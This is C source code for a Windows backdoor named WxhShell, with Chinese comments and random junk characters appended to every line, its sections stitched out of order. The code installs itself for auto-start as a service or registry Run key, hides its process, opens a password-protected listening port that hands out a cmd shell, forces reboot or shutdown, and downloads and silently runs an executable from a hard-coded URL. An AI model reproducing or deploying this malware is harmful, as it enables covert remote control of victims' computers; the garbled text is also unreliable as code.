    if(Boot(SHUTDOWN)) ;_\y g)X,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;PaU"z+Je~  
    else { 0SvPr [ >  
    closesocket(wsh); Oj-\  
    ExitThread(0); .I_atv  
    } A~xw:[zy$a  
    break; Tdh(J",d  
    } LZ wCe$1  
  // 获取shell ]Ea-MeH  
  case 's': { +TbAtkEF*  
    CmdShell(wsh); ~!ooIwNNz  
    closesocket(wsh); {m!5IR  
    ExitThread(0); =F|9 ac9X  
    break; $'KQP8M+  
  } /"J 6``MV  
  // 退出 R?u(aY)P  
  case 'x': { (Yz[SK=U}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W,EIBgR(R5  
    CloseIt(wsh); =4`wYh  
    break; fY^CI b$Y  
    } Xfg3q.q  
  // 离开 L ~'98C  
  case 'q': { PR5N:Bw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j4,y+ 9U  
    closesocket(wsh); lrZ]c:%k  
    WSACleanup();  dwk%!%  
    exit(1); Iuz_u2"C  
    break; ^"O>EY':  
        } P@PF" {S  
  } S3/%;=|  
  } pl%!AY'oE>  
7f+@6jqD\)  
  // 提示信息  >SQzE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !`%j#bv  
} 2*Qi4%s#  
  } /pjl6dJ t  
]+Lr'HF  
  return; ;[;WEA  
} zc8^#D2y&  
1N(#4mE=  
// shell模块句柄 h&K$(}X  
int CmdShell(SOCKET sock) ;U>nj],uv  
{ Y Iwa =^  
STARTUPINFO si; kf>3T@  
ZeroMemory(&si,sizeof(si)); C*ep8{B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .KKecdd?=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C]2-V1,ZX  
PROCESS_INFORMATION ProcessInfo; iO?AY  
char cmdline[]="cmd"; R_B0CM<!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4_5f4%S  
  return 0; 5H.~pc2y  
} D&F{0  
EtzSaB*|  
// 自身启动模式 ["f6Ern  
int StartFromService(void) #M|lBYdW}  
{ pC:YT/J  
typedef struct l,hOnpm9  
{ =s":Mx,o  
  DWORD ExitStatus; BW)-F (v   
  DWORD PebBaseAddress; ]?+i6 [6U  
  DWORD AffinityMask; s1Acl\l-uF  
  DWORD BasePriority; SI~jM:S}  
  ULONG UniqueProcessId;  .x%w#  
  ULONG InheritedFromUniqueProcessId; B?i#m^S  
}   PROCESS_BASIC_INFORMATION; z(A[xN@/W<  
g>h/|b w4  
PROCNTQSIP NtQueryInformationProcess; m|W17LhW{  
tnobqL'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; te( H6c#0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; avq$aq(3&  
%Zk6K!MY#  
  HANDLE             hProcess; LH2B*8=^2  
  PROCESS_BASIC_INFORMATION pbi; NH|I>vyN  
g_cED15  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UgAp9$=z  
  if(NULL == hInst ) return 0; GIzB1cl:  
0\:= KIY.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H9)n<r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R?iCJ5m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `;Tf_6c  
P6.PjK!Ar  
  if (!NtQueryInformationProcess) return 0; l SdA7  
~BuzI9~7P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =KHb0d |.  
  if(!hProcess) return 0; X3G593ts  
3GF67]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uQvTir*e  
DWOf\[  
  CloseHandle(hProcess); neM.M)0  
FzX ;~CA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Axsezr/  
if(hProcess==NULL) return 0; G^t)^iI"'  
/al56n  
HMODULE hMod; ~\JB)ca.  
char procName[255]; |K1S(m<F  
unsigned long cbNeeded; ^(^P#EEG  
Gw3+TvwU+Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e-y$&[  
mv99SOe[Fz  
  CloseHandle(hProcess); 8c.>6 Hy  
(.P}>$M9  
if(strstr(procName,"services")) return 1; // 以服务启动 HNS^:X R  
6 8,j~e3-i  
  return 0; // 注册表启动 CWkWW/ZI  
} <&b,%O  
Pg T3E  
// 主模块 "<0!S~]  
int StartWxhshell(LPSTR lpCmdLine) Y^Buz<OiG  
{ 8*u'D@0  
  SOCKET wsl; +:@^nPfHy  
BOOL val=TRUE; VYb,Hmm>kC  
  int port=0; TNqL ')f  
  struct sockaddr_in door; a?+C]u?_D  
HD KF>S_S  
  if(wscfg.ws_autoins) Install(); .t\J @?Z  
=? !FO'zt"  
port=atoi(lpCmdLine); ~$6` e:n  
.\oW@2,RA9  
if(port<=0) port=wscfg.ws_port; y`zdI_!7  
Q.$8>)  
  WSADATA data; aQmS'{d?^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X'$H'[8;C  
mh"PAp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xBxiBhqzF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J'WzEgCnU  
  door.sin_family = AF_INET; E|9`J00  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^Ak?2,xB#+  
  door.sin_port = htons(port); h<?Px"& J  
fGV'l__\\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &I-:=ir  
closesocket(wsl); $Mg O)bH  
return 1; Rp2h[_>  
} VvIUAn  
}5PC53q  
  if(listen(wsl,2) == INVALID_SOCKET) { eMdP4<u  
closesocket(wsl); l\L71|3"g  
return 1; EFDmNud`Q  
} Hx+r9w  
  Wxhshell(wsl); % m6qL  
  WSACleanup(); A\S=>[ar-  
r(wf>w3  
return 0; 2<UC^vZ  
<[ dt2)%L>  
} rYt|[Pk  
*Jcd_D\-(1  
// 以NT服务方式启动 J1(SL~e],  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >.UEs 8QV  
{ rCqwJoC`v  
DWORD   status = 0; N>EMVUVS  
  DWORD   specificError = 0xfffffff; zfDfy!\2_  
\h[*oeh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V"8Go;[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zK~_e\m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p&\QkI=  
  serviceStatus.dwWin32ExitCode     = 0; dCn9]cj/  
  serviceStatus.dwServiceSpecificExitCode = 0; .I|b9$V  
  serviceStatus.dwCheckPoint       = 0; 7>zUT0SS  
  serviceStatus.dwWaitHint       = 0; m==DBh  
f8K0/z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !_+FuF"@  
  if (hServiceStatusHandle==0) return; 8[@Y`j8  
_0 4 3,  
status = GetLastError(); 4J'0k<5S  
  if (status!=NO_ERROR) hyPS 6Y'1  
{ Q& d;UVp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <}&J|()  
    serviceStatus.dwCheckPoint       = 0; bRFZ:hu l  
    serviceStatus.dwWaitHint       = 0; |4BD  
    serviceStatus.dwWin32ExitCode     = status; rvhMu}.  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1M)88&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (JOR: 1aT  
    return; 4+>~Ui_#  
  } pdN8 hJ  
j?tE#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D)4#AI  
  serviceStatus.dwCheckPoint       = 0; 6C"${}S F`  
  serviceStatus.dwWaitHint       = 0; V?T&>s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !RLXB$@`  
} r;(^]Soz  
lM#/F\  
// 处理NT服务事件,比如:启动、停止 sjLm-pn3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wmbG$T%k  
{ YJz06E1 -9  
switch(fdwControl) E2o8'.~Yd`  
{ k;Qm%B  
case SERVICE_CONTROL_STOP: FS)C<T]t  
  serviceStatus.dwWin32ExitCode = 0; ooa"Th<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /i!/)]*-  
  serviceStatus.dwCheckPoint   = 0; 3# 0Nd"/0  
  serviceStatus.dwWaitHint     = 0; Ea" -n9  
  { R%t6sbsNv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {P?p*2J'  
  } AKLFUk  
  return; ;&w_.j*Is  
case SERVICE_CONTROL_PAUSE: 9O&MsTmg$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LChwHkRHJI  
  break; ^=-W8aVi>  
case SERVICE_CONTROL_CONTINUE: DM)Re~*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ly`.~t(~l  
  break; gi_f8RP=2a  
case SERVICE_CONTROL_INTERROGATE: r;waT@&C  
  break; Y)S f;  
}; 5@bmm]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @&E7Pg5  
} S[/D._5QD%  
dqt}:^L*0g  
// 标准应用程序主函数 1X&scVw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zU|'IW&  
{ oB!-JX9  
IQ~EL';<w  
// 获取操作系统版本 /T&+vzCF  
OsIsNt=GetOsVer(); FSZ :}Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )Y1+F,C  
L_zB/(h  
  // 从命令行安装 :G<~x8]k0  
  if(strpbrk(lpCmdLine,"iI")) Install(); S U P  
#@M'*X_%}K  
  // 下载执行文件 |JUAR{  
if(wscfg.ws_downexe) { b]Lp_t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $4CsiZ6  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]A_A4=[w  
} 6,p;8I  
0)|;uW  
if(!OsIsNt) { cn$0^7?  
// 如果时win9x,隐藏进程并且设置为注册表启动 U4y ?z  
HideProc(); 7I@@}A  
StartWxhshell(lpCmdLine); +227SPLd  
} Eds{-x|10  
else x@VZJrQQ  
  if(StartFromService()) Bp=BRl  
  // 以服务方式启动 HqA~q  
  StartServiceCtrlDispatcher(DispatchTable); Zdu8axK:  
else 6~8X/ -02  
  // 普通方式启动 5[$Tpn#K7  
  StartWxhshell(lpCmdLine); yuB\Z/  
+&)&Ny$W  
return 0; 5AAPtZ\lH  
} u6p nO  
c6F8z75U  
`SESj)W(y  
F!6;< !&h  
=========================================== oIY@xuj  
BxXP]od  
 .Aa(  
E1rxuV|9  
sJcwN.s  
6%UhP;(  
" JclG*/Wjg4  
]`n6H[6O  
#include <stdio.h> y{uN+QS  
#include <string.h> C'//(gjQ-G  
#include <windows.h> !PY.F nZ  
#include <winsock2.h> \bWo"Yo  
#include <winsvc.h> F$&{@hd  
#include <urlmon.h> JlN<w  
;Quk%6;[N  
#pragma comment (lib, "Ws2_32.lib") K.2l)aRd  
#pragma comment (lib, "urlmon.lib") g:>Mooxzi  
%'i`Chc^!;  
#define MAX_USER   100 // 最大客户端连接数 5"&{Egc_  
#define BUF_SOCK   200 // sock buffer srfM"Lb'  
#define KEY_BUFF   255 // 输入 buffer q6 Rr?  
ZzV%+n7<Vx  
#define REBOOT     0   // 重启 hiA%Tq?  
#define SHUTDOWN   1   // 关机 FrBJv<  
z>./lu\  
#define DEF_PORT   5000 // 监听端口 Hb{G RG70  
s+yX82Y  
#define REG_LEN     16   // 注册表键长度 v %fRq!~  
#define SVC_LEN     80   // NT服务名长度 F~_)auH  
_; ].  
// 从dll定义API 8'X:}O/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~kAen  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $Sfx0?'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C 9:5c@G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XQ]5W(EP  
*w;=o}`  
// wxhshell配置信息 AmmUoS\  
struct WSCFG { 27!9LU  
  int ws_port;         // 监听端口 w %sHA  
  char ws_passstr[REG_LEN]; // 口令 SecZ5(+=  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^Q$U.sN? R  
  char ws_regname[REG_LEN]; // 注册表键名 %SJ9Jr,  
  char ws_svcname[REG_LEN]; // 服务名 406.6jmv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \f7A j>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f}1R,N_fC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p;VHg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AK*F,H9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $|yO mh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !@x'?+   
m pWmExQ  
}; mnM!^[|z  
iX{Lc+u3  
// default Wxhshell configuration . !|3a  
struct WSCFG wscfg={DEF_PORT, mzl %h[9iI  
    "xuhuanlingzhe", HjO-6F#s  
    1, MH>CCT  
    "Wxhshell", _lE0_X|d  
    "Wxhshell", n"1LVJN7  
            "WxhShell Service", ^&W(|R-,J&  
    "Wrsky Windows CmdShell Service", 5)MVkJ=R  
    "Please Input Your Password: ", [o=v"s't)  
  1, , LP |M:  
  "http://www.wrsky.com/wxhshell.exe", ?{ "_9g9  
  "Wxhshell.exe" V+mTo^  
    }; nSL x1Q  
uV:;q>XM'%  
// 消息定义模块 #O< 2wMb2<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rmrv@.dr!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2U-F}Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 52$7vYMto  
char *msg_ws_ext="\n\rExit."; Vn`-w  
char *msg_ws_end="\n\rQuit."; F;mK)Q-  
char *msg_ws_boot="\n\rReboot..."; l0m\2Ttf  
char *msg_ws_poff="\n\rShutdown..."; j#TtY|Po  
char *msg_ws_down="\n\rSave to "; c8cV{}7Kb  
|uT&`0T'e`  
char *msg_ws_err="\n\rErr!"; ptS1d$  
char *msg_ws_ok="\n\rOK!"; )|88wa(M  
t$sL6|Ww}o  
char ExeFile[MAX_PATH]; |Go?A/'  
int nUser = 0; Xi]WDH \  
HANDLE handles[MAX_USER]; LV'@JFT-  
int OsIsNt; vpy_piG|  
y;+5cn C  
SERVICE_STATUS       serviceStatus; !vU$^>zo~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !H`Q^Xf}  
Y!VYD_'P  
// 函数声明 FF"6~  
int Install(void); I<q=lK  
int Uninstall(void); v(v Lk\K7  
int DownloadFile(char *sURL, SOCKET wsh); &R54?u^A  
int Boot(int flag); }U=|{@%  
void HideProc(void); fI2/v<[  
int GetOsVer(void); Jl^Rz;bQ-  
int Wxhshell(SOCKET wsl); }E5oa\ 1u  
void TalkWithClient(void *cs); E\V-< ]o  
int CmdShell(SOCKET sock); ~RV>V*l  
int StartFromService(void); D}SYv})Ti  
int StartWxhshell(LPSTR lpCmdLine); mJ=3faM  
U2*g9Es  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JJHr<|K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >^#OtFHuT)  
i2ap]  
// 数据结构和表定义 fUh7PF%  
SERVICE_TABLE_ENTRY DispatchTable[] = as1ZLfN.  
{ ~c>*3*  
{wscfg.ws_svcname, NTServiceMain}, FE+Y#  
{NULL, NULL} 6&o9mc\I  
}; T~%}(0=m  
\#P>k;D  
// 自我安装 X|'EyZ  
int Install(void) ?)$+W+vK  
{ z~TG~_s  
  char svExeFile[MAX_PATH]; EP.nVvuL  
  HKEY key; ~n:dHK`  
  strcpy(svExeFile,ExeFile); =HT:p:S  
RbUhLcG5  
// 如果是win9x系统,修改注册表设为自启动 5"4O_JQ  
if(!OsIsNt) { E|ce[|2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { " gB.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I g/SaEF  
  RegCloseKey(key); ~7$E\w6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \\80c65-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jseyT#2  
  RegCloseKey(key); FNpMu3Q  
  return 0; kG:,Ff>  
    } =%, ;=4w  
  } _qg)^M6  
} \%nFCK0  
else { rixP[`!]x  
O$}p}%%y7  
// 如果是NT以上系统,安装为系统服务 E DuLgg@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uJz<:/rwZ-  
if (schSCManager!=0) 6"^Yn.  
{ yc.Vm[!  
  SC_HANDLE schService = CreateService PI>PEge!&  
  ( $x,?+N  
  schSCManager, Vv=/{31  
  wscfg.ws_svcname, oQgd]| v  
  wscfg.ws_svcdisp, a []Iz8*6e  
  SERVICE_ALL_ACCESS, SFrQPdX6V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bWzv7#dd=  
  SERVICE_AUTO_START, FLI\SF<  
  SERVICE_ERROR_NORMAL, kt8P\/~*i  
  svExeFile, QJc3@  
  NULL, 8d9&LPv  
  NULL, TRwlUC3hQ  
  NULL, KlMrM% ;y  
  NULL, 8$O=HE*  
  NULL ?Xm!;sS0  
  ); JzD Mx?  
  if (schService!=0) v.,|#}0 o  
  { S pxkB!  
  CloseServiceHandle(schService); Ov1$7 r@  
  CloseServiceHandle(schSCManager); rj qX|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7a_pO1MBL  
  strcat(svExeFile,wscfg.ws_svcname); _{CMWo"l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +]|aACt]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )3<|<jwcx  
  RegCloseKey(key); O$jj&  
  return 0; 1{N73]-M:  
    } y=i_:d0M  
  } r\7F}ZW/  
  CloseServiceHandle(schSCManager); jR-`ee}y2  
} KK; 3<kX  
} 44 bTx y  
;cQhs7m(9  
return 1; /(C?3 }}L  
} ' uvTOgP,  
7Q,9j.  
// 自我卸载 WAPN,WuW  
int Uninstall(void) n:JWu0,h  
{ S,Q!Xb@  
  HKEY key; dz fR ^Gv  
V@gweci  
if(!OsIsNt) { $qkV u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4\'1j|nS[  
  RegDeleteValue(key,wscfg.ws_regname); y,{=*2Yt  
  RegCloseKey(key); N ]/ N}b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z-<091,  
  RegDeleteValue(key,wscfg.ws_regname); 61|uvTX  
  RegCloseKey(key); *Ag</g@ h  
  return 0; y<7C!E#b8  
  } qfp,5@p  
} U ObI&*2  
} 5\RTy}w3x  
else { `.3!  
W}&[p=PAS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *?|LE C  
if (schSCManager!=0) w,hl<=:(FB  
{ Y~ j.Kt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3m RP.<=  
  if (schService!=0) Ore>j+  
  { !cP2,l 'f  
  if(DeleteService(schService)!=0) { H CKD0xx  
  CloseServiceHandle(schService); ;pk4Voo$  
  CloseServiceHandle(schSCManager); Y ,1ZvUOB  
  return 0; p;;4b@  
  } s"u6po.'  
  CloseServiceHandle(schService); N?cvQR{r9  
  } { +d](+$  
  CloseServiceHandle(schSCManager); SU,S1C_q8  
} Ze `=n  
} pq8XCOllXx  
iuxI$  
return 1; XO[S(q  
} "Zk# bQ2j  
7Mx F? I  
// 从指定url下载文件 G- _h 2  
int DownloadFile(char *sURL, SOCKET wsh) -Ky<P<@ezm  
{ L`sg60z  
  HRESULT hr; NifD pqjgt  
char seps[]= "/";  |tK_Bn  
char *token; X`-7: !+  
char *file; m+66x {M2c  
char myURL[MAX_PATH]; jb0wP01R  
char myFILE[MAX_PATH]; OS$}ej\  
.bdp=vbA  
strcpy(myURL,sURL); P{T\zT  
  token=strtok(myURL,seps); ALcin))+B  
  while(token!=NULL) 4OX2GH=W  
  { Whoqs_Mm{  
    file=token; @= E~`  
  token=strtok(NULL,seps); x*`S>_j27=  
  } b#uNdq3  
6XP>qI,AJ  
GetCurrentDirectory(MAX_PATH,myFILE); $,Eb(j  
strcat(myFILE, "\\"); T]er_n  
strcat(myFILE, file); vR"?XqgZ  
  send(wsh,myFILE,strlen(myFILE),0); Q!9  
send(wsh,"...",3,0); ]izrr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zr(4Q9fDo  
  if(hr==S_OK) )2z<5 `  
return 0; \eF _Xk[  
else ?g{--'L  
return 1; -JKl\E  
/"+CH\) E  
} %>p[;>jW  
64LX[8Ax#  
// 系统电源模块 t]3> X  
int Boot(int flag) C33BP}c]  
{ "U"phLX  
  HANDLE hToken; lQS(\}N  
  TOKEN_PRIVILEGES tkp; uI9eUO  
kk`K)PESi  
  if(OsIsNt) { FmtgH1u:=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E ,kDy:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u1}/SlCp  
    tkp.PrivilegeCount = 1; G?M<B~}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "L0Q"t:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z bW!c1s{  
if(flag==REBOOT) { /3`yaYkSh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +TZVx(Z&A  
  return 0; /~(T[\E<  
} oSf6J:?*e  
else { =.`:jZG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .Ei#mG-=}&  
  return 0; sck.2-f"  
} ptc.JB6  
  } #0"Pd8@  
  else { HJi FlL3  
if(flag==REBOOT) { ,Y&7` m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *@VS^JB  
  return 0; en_W4\7^  
} ]+k]Gbty6  
else { *| 9:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j].=,M<dxE  
  return 0; z"D0Th`S6  
} 6Y%{ YQ}s|  
} [Ot<8)Jm  
~eZ]LW])  
return 1; H %Dcp#k  
} d4m@u$^1B  
!C;$5(k  
// win9x进程隐藏模块 /u&7!>,  
void HideProc(void) J'E?Z0  
{ 1 )H;}%[  
aKFY&zN?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [k]3#<sS  
  if ( hKernel != NULL ) NY GWA4L  
  { +MtxS l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b&*)C#7/T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kXgc'w6EhF  
    FreeLibrary(hKernel); :'4 ",  
  } &X6hOc:``\  
+,_%9v?3  
return; Gn%"B6  
} q`|rS6  
O'{g{  
// 获取操作系统版本 z.~jqxA9  
int GetOsVer(void) 1=_Qj}!1  
{ 3>6rO4,  
  OSVERSIONINFO winfo; 48,uO !  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p Le[<N  
  GetVersionEx(&winfo); Nwg?(h#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xnDst9%  
  return 1; $T6+6<  
  else 6@VgLa,  
  return 0; t 2,?+q$x  
} LvCX(yjZ*  
oL7F^34;  
// 客户端句柄模块 IQWoK"B  
int Wxhshell(SOCKET wsl) ]wUH*\(y  
{ *LEI@  
  SOCKET wsh; F+]cFx,/  
  struct sockaddr_in client; %us#p|Ya  
  DWORD myID; 9 /=+2SZ  
:eH\9$F`x;  
  while(nUser<MAX_USER) WFTwFm6  
{ A: O"N  
  int nSize=sizeof(client); yUN>mD-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E"7[|-`e6  
  if(wsh==INVALID_SOCKET) return 1; pV`/6 }  
mRy0zN>?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~|S}$|Mi50  
if(handles[nUser]==0) 7b7WQ7u  
  closesocket(wsh); A@eR~Kp ^  
else lHFk~Qp[  
  nUser++; AzVv- !Y  
  } "-Pz2QJY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J(SGaHm@  
aK8s0G!z?5  
  return 0; m%b# B>J,n  
} f VJWW):  
2$'bOo  
// 关闭 socket +i[vJRLxl~  
void CloseIt(SOCKET wsh) Y8h 96  
{ qC B{dp/  
closesocket(wsh); 5z:#Bl-,L  
nUser--; _}cD_$D  
ExitThread(0); 8~F?%!X  
} X6BOB?  
j9X|c7|  
// 客户端请求句柄 '>HLE)l  
void TalkWithClient(void *cs) Yy;BJ_  
{ 7 .]H9  
Pj_*,L`mZ  
  SOCKET wsh=(SOCKET)cs; f`iDF+h<6  
  char pwd[SVC_LEN]; av_ +M;G  
  char cmd[KEY_BUFF]; \uO^w J}  
char chr[1]; /!N=@z)  
int i,j; SXC 7LJm<g  
*m2?fP\  
  while (nUser < MAX_USER) { yq1 G6hw  
o$Y#C{wC%  
if(wscfg.ws_passstr) { rs,'vV-2\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sY1.z5"Mm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [,{Nu EI  
  //ZeroMemory(pwd,KEY_BUFF); t*)!BZ  
      i=0; 8A}<-?>  
  while(i<SVC_LEN) { qC5IV}9`  
li{!Jp5]1b  
  // 设置超时 w"W;PdH)  
  fd_set FdRead; xdVsbW)L2  
  struct timeval TimeOut; 4$81ilBcL  
  FD_ZERO(&FdRead); +"1-W> HV  
  FD_SET(wsh,&FdRead); o' v!83$L  
  TimeOut.tv_sec=8; d\zUtcJwC  
  TimeOut.tv_usec=0; s< Fp17  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^Pah\p4bj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m/;fY>}3  
Xoha.6$l5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -w f>N:  
  pwd=chr[0]; 'ka$@,s:  
  if(chr[0]==0xd || chr[0]==0xa) { HKIr?  
  pwd=0; jfVw{\l  
  break; L$rr:^J  
  } NNwGRoDco  
  i++; 1f'msy/  
    } k3KT':*  
eNO[ikm  
  // 如果是非法用户,关闭 socket \cf'Hj}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gI"cZ h3}  
} -f1lu*3\  
VDxF%!h(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ( uG; Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YLS*uXB&.  
@= =)  
while(1) { zbGZ\pz  
B@#vS=g  
  ZeroMemory(cmd,KEY_BUFF); hztqZ:  
((<\VQ,>(  
      // 自动支持客户端 telnet标准   Rg+# (y  
  j=0; C\OZs%]At  
  while(j<KEY_BUFF) { #k[Y(_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~ Nf|,{[(5  
  cmd[j]=chr[0]; UJ(UzKq8  
  if(chr[0]==0xa || chr[0]==0xd) { TtH!5{$s  
  cmd[j]=0; lL 50PU  
  break; )jt?X}  
  } `M(st%@n  
  j++; B|8|f(tsSa  
    } mlUj%:Gm#  
Le{.B@2-"  
  // 下载文件 zL3zvOhu}  
  if(strstr(cmd,"http://")) { g/\cN(X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2?v }w<Ydl  
  if(DownloadFile(cmd,wsh)) uu"hu||0_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Ahh6=qQY  
  else 5uOz#hN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tkkh<5{C   
